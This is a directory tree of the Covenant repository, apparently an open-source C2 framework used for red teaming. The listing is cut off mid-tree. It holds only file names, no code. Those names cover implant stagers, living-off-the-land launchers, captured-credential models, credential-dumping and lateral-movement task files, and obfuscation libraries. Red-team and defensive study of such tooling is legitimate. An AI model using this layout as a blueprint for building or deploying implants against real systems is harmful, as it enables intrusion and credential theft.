├── .gitattributes ├── .github └── ISSUE_TEMPLATE │ └── issue-template.md ├── .gitignore ├── .gitmodules ├── CHANGELOG.md ├── Covenant.sln ├── Covenant ├── .dockerignore ├── API │ ├── CovenantAPI.cs │ ├── CovenantAPIExtensions.cs │ ├── ICovenantAPI.cs │ ├── Models │ │ ├── BinaryLauncher.cs │ │ ├── BridgeListener.cs │ │ ├── CapturedCredential.cs │ │ ├── CapturedHashCredential.cs │ │ ├── CapturedPasswordCredential.cs │ │ ├── CapturedTicketCredential.cs │ │ ├── CodeMirrorTheme.cs │ │ ├── CommandOutput.cs │ │ ├── CommunicationType.cs │ │ ├── CovenantUser.cs │ │ ├── CovenantUserLogin.cs │ │ ├── CovenantUserLoginResult.cs │ │ ├── CovenantUserRegister.cs │ │ ├── CredentialType.cs │ │ ├── CscriptLauncher.cs │ │ ├── DotNetVersion.cs │ │ ├── DownloadEvent.cs │ │ ├── DownloadProgress.cs │ │ ├── EmbeddedResource.cs │ │ ├── EventLevel.cs │ │ ├── EventModel.cs │ │ ├── EventType.cs │ │ ├── FileIndicator.cs │ │ ├── Grunt.cs │ │ ├── GruntCommand.cs │ │ ├── GruntStatus.cs │ │ ├── GruntTask.cs │ │ ├── GruntTaskAuthor.cs │ │ ├── GruntTaskOption.cs │ │ ├── GruntTasking.cs │ │ ├── GruntTaskingStatus.cs │ │ ├── GruntTaskingType.cs │ │ ├── HTTPListener.cs │ │ ├── HashType.cs │ │ ├── HostedFile.cs │ │ ├── HttpProfile.cs │ │ ├── HttpProfileHeader.cs │ │ ├── IdentityRole.cs │ │ ├── ImplantDirection.cs │ │ ├── ImplantLanguage.cs │ │ ├── ImplantTemplate.cs │ │ ├── Indicator.cs │ │ ├── IndicatorType.cs │ │ ├── InstallUtilLauncher.cs │ │ ├── IntegrityLevel.cs │ │ ├── Launcher.cs │ │ ├── LauncherType.cs │ │ ├── Listener.cs │ │ ├── ListenerStatus.cs │ │ ├── ListenerType.cs │ │ ├── MSBuildLauncher.cs │ │ ├── MshtaLauncher.cs │ │ ├── NetworkIndicator.cs │ │ ├── OutputKind.cs │ │ ├── PowerShellLauncher.cs │ │ ├── Profile.cs │ │ ├── ProfileType.cs │ │ ├── ReferenceAssembly.cs │ │ ├── ReferenceSourceLibrary.cs │ │ ├── Regsvr32Launcher.cs │ │ ├── RuntimeIdentifier.cs │ │ ├── ScriptingLanguage.cs │ │ ├── ShellCodeLauncher.cs │ │ ├── StringIdentityUserRole.cs │ │ ├── TargetIndicator.cs │ │ ├── Theme.cs │ │ ├── TicketType.cs │ │ ├── WmicLauncher.cs │ │ └── WscriptLauncher.cs │ └── openapi.json ├── Components │ ├── App.razor │ ├── CovenantUsers │ │ ├── CovenantUserIndex.razor │ │ ├── CovenantUserRegisterForm.razor │ │ ├── CovenantUserTable.razor │ │ ├── CreateCovenantUser.razor │ │ ├── EditCovenantUser.razor │ │ ├── EditCovenantUserRolesForm.razor │ │ ├── Logout.razor │ │ └── RedirectToLogin.razor │ ├── Credentials │ │ ├── CreateCredential.razor │ │ ├── CredentialForm.razor │ │ ├── CredentialTables.razor │ │ ├── HashCredentialTable.razor │ │ ├── PasswordCredentialTable.razor │ │ └── TicketCredentialTable.razor │ ├── Data │ │ └── DataIndex.razor │ ├── EmbeddedResources │ │ ├── CreateEmbeddedResource.razor │ │ ├── EditEmbeddedResource.razor │ │ ├── EmbeddedResourceForm.razor │ │ └── EmbeddedResourceTable.razor │ ├── Events │ │ ├── DownloadEventTable.razor │ │ ├── EventNotification.razor │ │ ├── EventNotifier.razor │ │ └── ScreenshotEventTable.razor │ ├── Graph │ │ ├── GraphBox.razor │ │ └── GraphIndex.razor │ ├── GruntTaskings │ │ ├── EditGruntTasking.razor │ │ ├── GruntTaskingForm.razor │ │ ├── GruntTaskingIndex.razor │ │ └── GruntTaskingTable.razor │ ├── GruntTasks │ │ ├── CreateGruntTask.razor │ │ ├── EditGruntTask.razor │ │ ├── GruntTaskForm.razor │ │ ├── GruntTaskIndex.razor │ │ └── GruntTaskTable.razor │ ├── Grunts │ │ ├── GruntCommandCard.razor │ │ ├── GruntForm.razor │ │ ├── GruntIndex.razor │ │ ├── GruntInteract.razor │ │ ├── GruntInteractTerminal.razor │ │ ├── GruntTable.razor │ │ ├── GruntTaskAssignForm.razor │ │ ├── GruntTaskOptionsModal.razor │ │ └── TabbedTerminals.razor │ ├── Home │ │ └── Dashboard.razor │ ├── HostedFiles │ │ ├── CreateHostedFile.razor │ │ ├── EditHostedFile.razor │ │ ├── HostedFileForm.razor │ │ ├── HostedFileIndex.razor │ │ └── HostedFileTable.razor │ ├── Indicators │ │ ├── CreateIndicator.razor │ │ ├── FileIndicatorTable.razor │ │ ├── IndicatorForm.razor │ │ ├── IndicatorTables.razor │ │ ├── NetworkIndicatorTable.razor │ │ └── TargetIndicatorTable.razor │ ├── Launchers │ │ ├── CreateLauncher.razor │ │ ├── LauncherForm.razor │ │ ├── LauncherHost.razor │ │ ├── LauncherIndex.razor │ │ ├── LauncherTable.razor │ │ ├── MSBuildLauncherFormPartial.razor │ │ ├── PowerShellLauncherFormPartial.razor │ │ ├── Regsvr32LauncherFormPartial.razor │ │ └── ScriptletLauncherFormPartial.razor │ ├── Listeners │ │ ├── BridgeListenerForm.razor │ │ ├── CreateListener.razor │ │ ├── EditListener.razor │ │ ├── HttpListenerForm.razor │ │ ├── ListenerIndex.razor │ │ └── ListenerTable.razor │ ├── Profiles │ │ ├── BridgeProfileForm.razor │ │ ├── CreateProfile.razor │ │ ├── EditHttpProfileHeaderList.razor │ │ ├── EditProfile.razor │ │ ├── HttpProfileForm.razor │ │ └── ProfileTable.razor │ ├── ReferenceAssemblies │ │ ├── CreateReferenceAssembly.razor │ │ ├── EditReferenceAssembly.razor │ │ ├── ReferenceAssemblyForm.razor │ │ └── ReferenceAssemblyTable.razor │ ├── ReferenceSourceLibraries │ │ ├── CreateReferenceSourceLibrary.razor │ │ ├── EditReferenceSourceLibrary.razor │ │ ├── ReferenceSourceLibraryForm.razor │ │ └── ReferenceSourceLibraryTable.razor │ ├── Shared │ │ ├── ButtonActivatedModal.razor │ │ ├── CovenantTable.razor │ │ ├── CovenantTable.razor.cs │ │ ├── EditFormList.razor │ │ ├── EnumSelect.razor │ │ ├── Layout.razor │ │ ├── SortableTableHeader.razor │ │ └── SortableTableHeader.razor.cs │ ├── Templates │ │ ├── CreateImplantTemplate.razor │ │ ├── EditImplantTemplate.razor │ │ ├── ImplantTemplateForm.razor │ │ ├── ImplantTemplateIndex.razor │ │ └── ImplantTemplateTable.razor │ ├── Themes │ │ ├── CreateTheme.razor │ │ ├── DisplayTheme.razor │ │ ├── EditTheme.razor │ │ ├── ThemeForm.razor │ │ └── ThemeTable.razor │ └── _Imports.razor ├── Controllers │ ├── ApiControllers │ │ ├── CommandOutputApiController.cs │ │ ├── CovenantUserApiController.cs │ │ ├── CredentialApiController.cs │ │ ├── EmbeddedResourceApiController.cs │ │ ├── EventApiController.cs │ │ ├── GruntApiController.cs │ │ ├── GruntCommandApiController.cs │ │ ├── GruntTaskApiController.cs │ │ ├── GruntTaskingApiController.cs │ │ ├── ImplantTemplateApiController.cs │ │ ├── IndicatorApiController.cs │ │ ├── LauncherApiController.cs │ │ ├── ListenerApiController.cs │ │ ├── ProfileApiController.cs │ │ ├── ReferenceAssemblyApiController.cs │ │ ├── ReferenceSourceLibraryApiController.cs │ │ └── ThemeApiController.cs │ └── ListenerControllers │ │ └── HttpListenerController.cs ├── Core │ ├── Common.cs │ ├── Compiler.cs │ ├── ConsoleWriter.cs │ ├── CovenantAPIService.cs │ ├── CovenantException.cs │ ├── CovenantHubService.cs │ ├── CovenantService.cs │ ├── DbInitializer.cs │ ├── Encryption.cs │ ├── NotificationService.cs │ └── Utilities.cs ├── Covenant.cs ├── Covenant.csproj ├── Data │ ├── AssemblyReferences │ │ ├── net35 │ │ │ ├── System.Configuration.Install.dll │ │ │ ├── System.Core.dll │ │ │ ├── System.Data.DataSetExtensions.dll │ │ │ ├── System.Data.dll │ │ │ ├── System.DirectoryServices.AccountManagement.dll │ │ │ ├── System.DirectoryServices.Protocols.dll │ │ │ ├── System.DirectoryServices.dll │ │ │ ├── System.Drawing.dll │ │ │ ├── System.IdentityModel.dll │ │ │ ├── System.Management.Automation.dll │ │ │ ├── System.Management.dll │ │ │ ├── System.Security.dll │ │ │ ├── System.ServiceProcess.dll │ │ │ ├── System.Web.Extensions.dll │ │ │ ├── System.Windows.Forms.dll │ │ │ ├── System.XML.dll │ │ │ ├── System.dll │ │ │ └── mscorlib.dll │ │ └── net40 │ │ │ ├── System.Configuration.Install.dll │ │ │ ├── System.Core.dll │ │ │ ├── System.Data.DataSetExtensions.dll │ │ │ ├── System.Data.dll │ │ │ ├── System.DirectoryServices.AccountManagement.dll │ │ │ ├── System.DirectoryServices.Protocols.dll │ │ │ ├── System.DirectoryServices.dll │ │ │ ├── System.Drawing.dll │ │ │ ├── System.IdentityModel.dll │ │ │ ├── System.Management.Automation.dll │ │ │ ├── System.Management.dll │ │ │ ├── System.Security.dll │ │ │ ├── System.ServiceProcess.dll │ │ │ ├── System.Web.Extensions.dll │ │ │ ├── System.Windows.Forms.dll │ │ │ ├── System.XML.dll │ │ │ ├── System.dll │ │ │ └── mscorlib.dll │ ├── Downloads │ │ └── .gitignore │ ├── EmbeddedResources │ │ ├── SharpSploit.Resources.powerkatz_x64.dll │ │ └── SharpSploit.Resources.powerkatz_x86.dll │ ├── Grunt │ │ ├── .gitignore │ │ ├── Brute │ │ │ ├── Brute.cs │ │ │ ├── Brute │ │ │ │ ├── .gitignore │ │ │ │ ├── Brute.csproj │ │ │ │ └── Brute.sln │ │ │ ├── BruteStager.cs │ │ │ ├── BruteStager │ │ │ │ ├── .gitignore │ │ │ │ ├── BruteStager.csproj │ │ │ │ └── BruteStager.sln │ │ │ └── Task │ │ │ │ ├── .gitignore │ │ │ │ └── Task.sln │ │ ├── GruntBridge │ │ │ ├── GruntBridge.cs │ │ │ └── GruntBridgeStager.cs │ │ ├── GruntHTTP │ │ │ ├── GruntHTTP.cs │ │ │ └── GruntHTTPStager.cs │ │ └── GruntSMB │ │ │ ├── GruntSMB.cs │ │ │ └── GruntSMBStager.cs │ ├── Launchers │ │ └── .gitignore │ ├── Listeners │ │ └── .gitignore │ ├── Profiles │ │ ├── CustomHttpProfile.yaml │ │ ├── DefaultBridgeProfile.yaml │ │ ├── DefaultHttpProfile.yaml │ │ └── TCPBridgeProfile.yaml │ ├── Static │ │ └── .gitignore │ ├── Tasks │ │ ├── CSharp │ │ │ ├── Compiled │ │ │ │ ├── net35 │ │ │ │ │ └── .gitignore │ │ │ │ ├── net40 │ │ │ │ │ └── .gitignore │ │ │ │ └── netcoreapp3.0 │ │ │ │ │ └── .gitignore │ │ │ └── netcoreapp3.0 │ │ │ │ ├── Assembly.task │ │ │ │ ├── ChangeDirectory.task │ │ │ │ ├── ListDirectory.task │ │ │ │ ├── ProcessList.task │ │ │ │ ├── Shell.task │ │ │ │ ├── ShellCmd.task │ │ │ │ └── WhoAmI.task │ │ ├── DefaultGruntTasks.yaml │ │ ├── DotNetCore.yaml │ │ ├── GhostPack.yaml │ │ ├── SharpSC.yaml │ │ ├── SharpSploit.Credentials.yaml │ │ ├── SharpSploit.Enumeration.yaml │ │ ├── SharpSploit.Evasion.yaml │ │ ├── SharpSploit.Execution.yaml │ │ ├── SharpSploit.LateralMovement.yaml │ │ ├── SharpSploit.Persistence.yaml │ │ └── SharpSploit.PrivilegeEscalation.yaml │ ├── Temp │ │ └── .gitignore │ └── appsettings.json ├── Dockerfile ├── Hubs │ ├── CommandOutputHub.cs │ ├── CovenantHub.cs │ ├── EventHub.cs │ ├── GruntCommandHub.cs │ ├── GruntHub.cs │ └── GruntTaskingHub.cs ├── Models │ ├── Common.cs │ ├── Covenant │ │ ├── CapturedCredential.cs │ │ ├── CovenantUser.cs │ │ ├── Event.cs │ │ └── Theme.cs │ ├── CovenantContext.cs │ ├── Grunts │ │ ├── Grunt.cs │ │ ├── GruntTask.cs │ │ ├── GruntTaskAuthor.cs │ │ ├── GruntTaskComponents.cs │ │ ├── GruntTaskOption.cs │ │ ├── GruntTasking.cs │ │ └── ImplantTemplate.cs │ ├── Indicators │ │ └── Indicator.cs │ ├── Launchers │ │ ├── BinaryLauncher.cs │ │ ├── CscriptLauncher.cs │ │ ├── InstallUtilLauncher.cs │ │ ├── Launcher.cs │ │ ├── MSBuildLauncher.cs │ │ ├── MshtaLauncher.cs │ │ ├── PowerShellLauncher.cs │ │ ├── Regsvr32Launcher.cs │ │ ├── ShellCodeLauncher.cs │ │ ├── WmicLauncher.cs │ │ └── WscriptLauncher.cs │ └── Listeners │ │ ├── BridgeListener.cs │ │ ├── HttpListener.cs │ │ ├── InternalListener.cs │ │ ├── Listener.cs │ │ └── Profile.cs ├── Pages │ ├── Login.cshtml │ ├── Login.cshtml.cs │ ├── Logout.cshtml │ ├── Logout.cshtml.cs │ ├── Shared │ │ └── _LoginLayout.cshtml │ ├── _Host.cshtml │ └── _Host.cshtml.cs ├── Properties │ └── launchSettings.json ├── Startup.cs ├── libman.json ├── refs │ ├── Confuser.Core.dll │ ├── Confuser.DynCipher.dll │ ├── Confuser.MSBuild.Tasks.dll │ ├── Confuser.Protections.dll │ ├── Confuser.Renamer.dll │ ├── Confuser.Runtime.dll │ ├── Donut.dll │ ├── PeNet.dll │ └── dnlib.dll └── wwwroot │ ├── css │ ├── bootstrap-datetimepicker.css │ ├── bootstrap-datetimepicker.min.css │ ├── bootstrap-multiselect.css │ ├── bootstrap-select.min.css │ ├── bootstrap.css │ ├── bootstrap.min.css │ ├── covenant-graph.css │ ├── covenant.css │ ├── dashboard.css │ ├── jquery.typeahead.css │ ├── jquery.typeahead.min.css │ └── signin.css │ ├── dist │ ├── clipboard.min.js │ ├── codemirror │ │ ├── AUTHORS │ │ ├── CHANGELOG.md │ │ ├── CONTRIBUTING.md │ │ ├── LICENSE │ │ ├── README.md │ │ ├── addon │ │ │ ├── comment │ │ │ │ ├── comment.js │ │ │ │ └── continuecomment.js │ │ │ ├── dialog │ │ │ │ ├── dialog.css │ │ │ │ └── dialog.js │ │ │ ├── display │ │ │ │ ├── autorefresh.js │ │ │ │ ├── fullscreen.css │ │ │ │ ├── fullscreen.js │ │ │ │ ├── panel.js │ │ │ │ ├── placeholder.js │ │ │ │ └── rulers.js │ │ │ ├── edit │ │ │ │ ├── closebrackets.js │ │ │ │ ├── closetag.js │ │ │ │ ├── continuelist.js │ │ │ │ ├── matchbrackets.js │ │ │ │ ├── matchtags.js │ │ │ │ └── trailingspace.js │ │ │ ├── fold │ │ │ │ ├── brace-fold.js │ │ │ │ ├── comment-fold.js │ │ │ │ ├── foldcode.js │ │ │ │ ├── foldgutter.css │ │ │ │ ├── foldgutter.js │ │ │ │ ├── indent-fold.js │ │ │ │ ├── markdown-fold.js │ │ │ │ └── xml-fold.js │ │ │ ├── hint │ │ │ │ ├── anyword-hint.js │ │ │ │ ├── css-hint.js │ │ │ │ ├── html-hint.js │ │ │ │ ├── javascript-hint.js │ │ │ │ ├── show-hint.css │ │ │ │ ├── show-hint.js │ │ │ │ ├── sql-hint.js │ │ │ │ └── xml-hint.js │ │ │ ├── lint │ │ │ │ ├── coffeescript-lint.js │ │ │ │ ├── css-lint.js │ │ │ │ ├── html-lint.js │ │ │ │ ├── javascript-lint.js │ │ │ │ ├── json-lint.js │ │ │ │ ├── lint.css │ │ │ │ ├── lint.js │ │ │ │ └── yaml-lint.js │ │ │ ├── merge │ │ │ │ ├── merge.css │ │ │ │ └── merge.js │ │ │ ├── mode │ │ │ │ ├── loadmode.js │ │ │ │ ├── multiplex.js │ │ │ │ ├── multiplex_test.js │ │ │ │ ├── overlay.js │ │ │ │ └── simple.js │ │ │ ├── runmode │ │ │ │ ├── colorize.js │ │ │ │ ├── runmode-standalone.js │ │ │ │ ├── runmode.js │ │ │ │ └── runmode.node.js │ │ │ ├── scroll │ │ │ │ ├── annotatescrollbar.js │ │ │ │ ├── scrollpastend.js │ │ │ │ ├── simplescrollbars.css │ │ │ │ └── simplescrollbars.js │ │ │ ├── search │ │ │ │ ├── jump-to-line.js │ │ │ │ ├── match-highlighter.js │ │ │ │ ├── matchesonscrollbar.css │ │ │ │ ├── matchesonscrollbar.js │ │ │ │ ├── search.js │ │ │ │ └── searchcursor.js │ │ │ ├── selection │ │ │ │ ├── active-line.js │ │ │ │ ├── mark-selection.js │ │ │ │ └── selection-pointer.js │ │ │ ├── tern │ │ │ │ ├── tern.css │ │ │ │ ├── tern.js │ │ │ │ └── worker.js │ │ │ └── wrap │ │ │ │ └── hardwrap.js │ │ ├── demo │ │ │ ├── activeline.html │ │ │ ├── anywordhint.html │ │ │ ├── bidi.html │ │ │ ├── btree.html │ │ │ ├── buffers.html │ │ │ ├── changemode.html │ │ │ ├── closebrackets.html │ │ │ ├── closetag.html │ │ │ ├── complete.html │ │ │ ├── emacs.html │ │ │ ├── folding.html │ │ │ ├── fullscreen.html │ │ │ ├── hardwrap.html │ │ │ ├── html5complete.html │ │ │ ├── indentwrap.html │ │ │ ├── lint.html │ │ │ ├── loadmode.html │ │ │ ├── marker.html │ │ │ ├── markselection.html │ │ │ ├── matchhighlighter.html │ │ │ ├── matchtags.html │ │ │ ├── merge.html │ │ │ ├── multiplex.html │ │ │ ├── mustache.html │ │ │ ├── panel.html │ │ │ ├── placeholder.html │ │ │ ├── preview.html │ │ │ ├── requirejs.html │ │ │ ├── resize.html │ │ │ ├── rulers.html │ │ │ ├── runmode-standalone.html │ │ │ ├── runmode.html │ │ │ ├── search.html │ │ │ ├── simplemode.html │ │ │ ├── simplescrollbars.html │ │ │ ├── spanaffectswrapping_shim.html │ │ │ ├── sublime.html │ │ │ ├── tern.html │ │ │ ├── theme.html │ │ │ ├── trailingspace.html │ │ │ ├── variableheight.html │ │ │ ├── vim.html │ │ │ ├── visibletabs.html │ │ │ ├── widget.html │ │ │ └── xmlcomplete.html │ │ ├── doc │ │ │ ├── activebookmark.js │ │ │ ├── docs.css │ │ │ ├── internals.html │ │ │ ├── logo.png │ │ │ ├── logo.svg │ │ │ ├── manual.html │ │ │ ├── realworld.html │ │ │ ├── releases.html │ │ │ ├── reporting.html │ │ │ ├── upgrade_v2.2.html │ │ │ ├── upgrade_v3.html │ │ │ ├── upgrade_v4.html │ │ │ └── yinyang.png │ │ ├── index.html │ │ ├── keymap │ │ │ ├── emacs.js │ │ │ ├── sublime.js │ │ │ └── vim.js │ │ ├── lib │ │ │ ├── codemirror.css │ │ │ └── codemirror.js │ │ ├── mode │ │ │ ├── apl │ │ │ │ ├── apl.js │ │ │ │ └── index.html │ │ │ ├── asciiarmor │ │ │ │ ├── asciiarmor.js │ │ │ │ └── index.html │ │ │ ├── asn.1 │ │ │ │ ├── asn.1.js │ │ │ │ └── index.html │ │ │ ├── asterisk │ │ │ │ ├── asterisk.js │ │ │ │ └── index.html │ │ │ ├── brainfuck │ │ │ │ ├── brainfuck.js │ │ │ │ └── index.html │ │ │ ├── clike │ │ │ │ ├── clike.js │ │ │ │ ├── index.html │ │ │ │ ├── scala.html │ │ │ │ └── test.js │ │ │ ├── clojure │ │ │ │ ├── clojure.js │ │ │ │ ├── index.html │ │ │ │ └── test.js │ │ │ ├── cmake │ │ │ │ ├── cmake.js │ │ │ │ └── index.html │ │ │ ├── cobol │ │ │ │ ├── cobol.js │ │ │ │ └── index.html │ │ │ ├── coffeescript │ │ │ │ ├── coffeescript.js │ │ │ │ └── index.html │ │ │ ├── commonlisp │ │ │ │ ├── commonlisp.js │ │ │ │ └── index.html │ │ │ ├── crystal │ │ │ │ ├── crystal.js │ │ │ │ └── index.html │ │ │ ├── css │ │ │ │ ├── css.js │ │ │ │ ├── gss.html │ │ │ │ ├── gss_test.js │ │ │ │ ├── index.html │ │ │ │ ├── less.html │ │ │ │ ├── less_test.js │ │ │ │ ├── scss.html │ │ │ │ ├── scss_test.js │ │ │ │ └── test.js │ │ │ ├── cypher │ │ │ │ ├── cypher.js │ │ │ │ ├── index.html │ │ │ │ └── test.js │ │ │ ├── d │ │ │ │ ├── d.js │ │ │ │ ├── index.html │ │ │ │ └── test.js │ │ │ ├── dart │ │ │ │ ├── dart.js │ │ │ │ └── index.html │ │ │ ├── diff │ │ │ │ ├── diff.js │ │ │ │ └── index.html │ │ │ ├── django │ │ │ │ ├── django.js │ │ │ │ └── index.html │ │ │ ├── dockerfile │ │ │ │ ├── dockerfile.js │ │ │ │ ├── index.html │ │ │ │ └── test.js │ │ │ ├── dtd │ │ │ │ ├── dtd.js │ │ │ │ └── index.html │ │ │ ├── dylan │ │ │ │ ├── dylan.js │ │ │ │ ├── index.html │ │ │ │ └── test.js │ │ │ ├── ebnf │ │ │ │ ├── ebnf.js │ │ │ │ └── index.html │ │ │ ├── ecl │ │ │ │ ├── ecl.js │ │ │ │ └── index.html │ │ │ ├── eiffel │ │ │ │ ├── eiffel.js │ │ │ │ └── index.html │ │ │ ├── elm │ │ │ │ ├── elm.js │ │ │ │ └── index.html │ │ │ ├── erlang │ │ │ │ ├── erlang.js │ │ │ │ └── index.html │ │ │ ├── factor │ │ │ │ ├── factor.js │ │ │ │ └── index.html │ │ │ ├── fcl │ │ │ │ ├── fcl.js │ │ │ │ └── index.html │ │ │ ├── forth │ │ │ │ ├── forth.js │ │ │ │ └── index.html │ │ │ ├── fortran │ │ │ │ ├── fortran.js │ │ │ │ └── index.html │ │ │ ├── gas │ │ │ │ ├── gas.js │ │ │ │ └── index.html │ │ │ ├── gfm │ │ │ │ ├── gfm.js │ │ │ │ ├── index.html │ │ │ │ └── test.js │ │ │ ├── gherkin │ │ │ │ ├── gherkin.js │ │ │ │ └── index.html │ │ │ ├── go │ │ │ │ ├── go.js │ │ │ │ └── index.html │ │ │ ├── groovy │ │ │ │ ├── groovy.js │ │ │ │ └── index.html │ │ │ ├── haml │ │ │ │ ├── haml.js │ │ │ │ ├── index.html │ │ │ │ └── test.js │ │ │ ├── handlebars │ │ │ │ ├── handlebars.js │ │ │ │ └── index.html │ │ │ ├── haskell-literate │ │ │ │ ├── haskell-literate.js │ │ │ │ └── index.html │ │ │ ├── haskell │ │ │ │ ├── haskell.js │ │ │ │ └── index.html │ │ │ ├── haxe │ │ │ │ ├── haxe.js │ │ │ │ └── index.html │ │ │ ├── htmlembedded │ │ │ │ ├── htmlembedded.js │ │ │ │ └── index.html │ │ │ ├── htmlmixed │ │ │ │ ├── htmlmixed.js │ │ │ │ └── index.html │ │ │ ├── http │ │ │ │ ├── http.js │ │ │ │ └── index.html │ │ │ ├── idl │ │ │ │ ├── idl.js │ │ │ │ └── index.html │ │ │ ├── index.html │ │ │ ├── javascript │ │ │ │ ├── index.html │ │ │ │ ├── javascript.js │ │ │ │ ├── json-ld.html │ │ │ │ ├── test.js │ │ │ │ └── typescript.html │ │ │ ├── jinja2 │ │ │ │ ├── index.html │ │ │ │ └── jinja2.js │ │ │ ├── jsx │ │ │ │ ├── index.html │ │ │ │ ├── jsx.js │ │ │ │ └── test.js │ │ │ ├── julia │ │ │ │ ├── index.html │ │ │ │ └── julia.js │ │ │ ├── livescript │ │ │ │ ├── index.html │ │ │ │ └── livescript.js │ │ │ ├── lua │ │ │ │ ├── index.html │ │ │ │ └── lua.js │ │ │ ├── markdown │ │ │ │ ├── index.html │ │ │ │ ├── markdown.js │ │ │ │ └── test.js │ │ │ ├── mathematica │ │ │ │ ├── index.html │ │ │ │ └── mathematica.js │ │ │ ├── mbox │ │ │ │ ├── index.html │ │ │ │ └── mbox.js │ │ │ ├── meta.js │ │ │ ├── mirc │ │ │ │ ├── index.html │ │ │ │ └── mirc.js │ │ │ ├── mllike │ │ │ │ ├── index.html │ │ │ │ └── mllike.js │ │ │ ├── modelica │ │ │ │ ├── index.html │ │ │ │ └── modelica.js │ │ │ ├── mscgen │ │ │ │ ├── index.html │ │ │ │ ├── mscgen.js │ │ │ │ ├── mscgen_test.js │ │ │ │ ├── msgenny_test.js │ │ │ │ └── xu_test.js │ │ │ ├── mumps │ │ │ │ ├── index.html │ │ │ │ └── mumps.js │ │ │ ├── nginx │ │ │ │ ├── index.html │ │ │ │ └── nginx.js │ │ │ ├── nsis │ │ │ │ ├── index.html │ │ │ │ └── nsis.js │ │ │ ├── ntriples │ │ │ │ ├── index.html │ │ │ │ └── ntriples.js │ │ │ ├── octave │ │ │ │ ├── index.html │ │ │ │ └── octave.js │ │ │ ├── oz │ │ │ │ ├── index.html │ │ │ │ └── oz.js │ │ │ ├── pascal │ │ │ │ ├── index.html │ │ │ │ └── pascal.js │ │ │ ├── pegjs │ │ │ │ ├── index.html │ │ │ │ └── pegjs.js │ │ │ ├── perl │ │ │ │ ├── index.html │ │ │ │ └── perl.js │ │ │ ├── php │ │ │ │ ├── index.html │ │ │ │ ├── php.js │ │ │ │ └── test.js │ │ │ ├── pig │ │ │ │ ├── index.html │ │ │ │ └── pig.js │ │ │ ├── powershell │ │ │ │ ├── index.html │ │ │ │ ├── powershell.js │ │ │ │ └── test.js │ │ │ ├── properties │ │ │ │ ├── index.html │ │ │ │ └── properties.js │ │ │ ├── protobuf │ │ │ │ ├── index.html │ │ │ │ └── protobuf.js │ │ │ ├── pug │ │ │ │ ├── index.html │ │ │ │ └── pug.js │ │ │ ├── puppet │ │ │ │ ├── index.html │ │ │ │ └── puppet.js │ │ │ ├── python │ │ │ │ ├── index.html │ │ │ │ ├── python.js │ │ │ │ └── test.js │ │ │ ├── q │ │ │ │ ├── index.html │ │ │ │ └── q.js │ │ │ ├── r │ │ │ │ ├── index.html │ │ │ │ └── r.js │ │ │ ├── rpm │ │ │ │ ├── changes │ │ │ │ │ └── index.html │ │ │ │ ├── index.html │ │ │ │ └── rpm.js │ │ │ ├── rst │ │ │ │ ├── index.html │ │ │ │ └── rst.js │ │ │ ├── ruby │ │ │ │ ├── index.html │ │ │ │ ├── ruby.js │ │ │ │ └── test.js │ │ │ ├── rust │ │ │ │ ├── index.html │ │ │ │ ├── rust.js │ │ │ │ └── test.js │ │ │ ├── sas │ │ │ │ ├── index.html │ │ │ │ └── sas.js │ │ │ ├── sass │ │ │ │ ├── index.html │ │ │ │ ├── sass.js │ │ │ │ └── test.js │ │ │ ├── scheme │ │ │ │ ├── index.html │ │ │ │ └── scheme.js │ │ │ ├── shell │ │ │ │ ├── index.html │ │ │ │ ├── shell.js │ │ │ │ └── test.js │ │ │ ├── sieve │ │ │ │ ├── index.html │ │ │ │ └── sieve.js │ │ │ ├── slim │ │ │ │ ├── index.html │ │ │ │ ├── slim.js │ │ │ │ └── test.js │ │ │ ├── smalltalk │ │ │ │ ├── index.html │ │ │ │ └── smalltalk.js │ │ │ ├── smarty │ │ │ │ ├── index.html │ │ │ │ └── smarty.js │ │ │ ├── solr │ │ │ │ ├── index.html │ │ │ │ └── solr.js │ │ │ ├── soy │ │ │ │ ├── index.html │ │ │ │ ├── soy.js │ │ │ │ └── test.js │ │ │ ├── sparql │ │ │ │ ├── index.html │ │ │ │ └── sparql.js │ │ │ ├── spreadsheet │ │ │ │ ├── index.html │ │ │ │ └── spreadsheet.js │ │ │ ├── sql │ │ │ │ ├── index.html │ │ │ │ └── sql.js │ │ │ ├── stex │ │ │ │ ├── index.html │ │ │ │ ├── stex.js │ │ │ │ └── test.js │ │ │ ├── stylus │ │ │ │ ├── index.html │ │ │ │ └── stylus.js │ │ │ ├── swift │ │ │ │ ├── index.html │ │ │ │ ├── swift.js │ │ │ │ └── test.js │ │ │ ├── tcl │ │ │ │ ├── index.html │ │ │ │ └── tcl.js │ │ │ ├── textile │ │ │ │ ├── index.html │ │ │ │ ├── test.js │ │ │ │ └── textile.js │ │ │ ├── tiddlywiki │ │ │ │ ├── index.html │ │ │ │ ├── tiddlywiki.css │ │ │ │ └── tiddlywiki.js │ │ │ ├── tiki │ │ │ │ ├── index.html │ │ │ │ ├── tiki.css │ │ │ │ └── tiki.js │ │ │ ├── toml │ │ │ │ ├── index.html │ │ │ │ └── toml.js │ │ │ ├── tornado │ │ │ │ ├── index.html │ │ │ │ └── tornado.js │ │ │ ├── troff │ │ │ │ ├── index.html │ │ │ │ └── troff.js │ │ │ ├── ttcn-cfg │ │ │ │ ├── index.html │ │ │ │ └── ttcn-cfg.js │ │ │ ├── ttcn │ │ │ │ ├── index.html │ │ │ │ └── ttcn.js │ │ │ ├── turtle │ │ │ │ ├── index.html │ │ │ │ └── turtle.js │ │ │ ├── twig │ │ │ │ ├── index.html │ │ │ │ └── twig.js │ │ │ ├── vb │ │ │ │ ├── index.html │ │ │ │ └── vb.js │ │ │ ├── vbscript │ │ │ │ ├── index.html │ │ │ │ └── vbscript.js │ │ │ ├── velocity │ │ │ │ ├── index.html │ │ │ │ └── velocity.js │ │ │ ├── verilog │ │ │ │ ├── index.html │ │ │ │ ├── test.js │ │ │ │ └── verilog.js │ │ │ ├── vhdl │ │ │ │ ├── index.html │ │ │ │ └── vhdl.js │ │ │ ├── vue │ │ │ │ ├── index.html │ │ │ │ └── vue.js │ │ │ ├── wast │ │ │ │ ├── index.html │ │ │ │ ├── test.js │ │ │ │ └── wast.js │ │ │ ├── webidl │ │ │ │ ├── index.html │ │ │ │ └── webidl.js │ │ │ ├── xml │ │ │ │ ├── index.html │ │ │ │ ├── test.js │ │ │ │ └── xml.js │ │ │ ├── xquery │ │ │ │ ├── index.html │ │ │ │ ├── test.js │ │ │ │ └── xquery.js │ │ │ ├── yacas │ │ │ │ ├── index.html │ │ │ │ └── yacas.js │ │ │ ├── yaml-frontmatter │ │ │ │ ├── index.html │ │ │ │ └── yaml-frontmatter.js │ │ │ ├── yaml │ │ │ │ ├── index.html │ │ │ │ └── 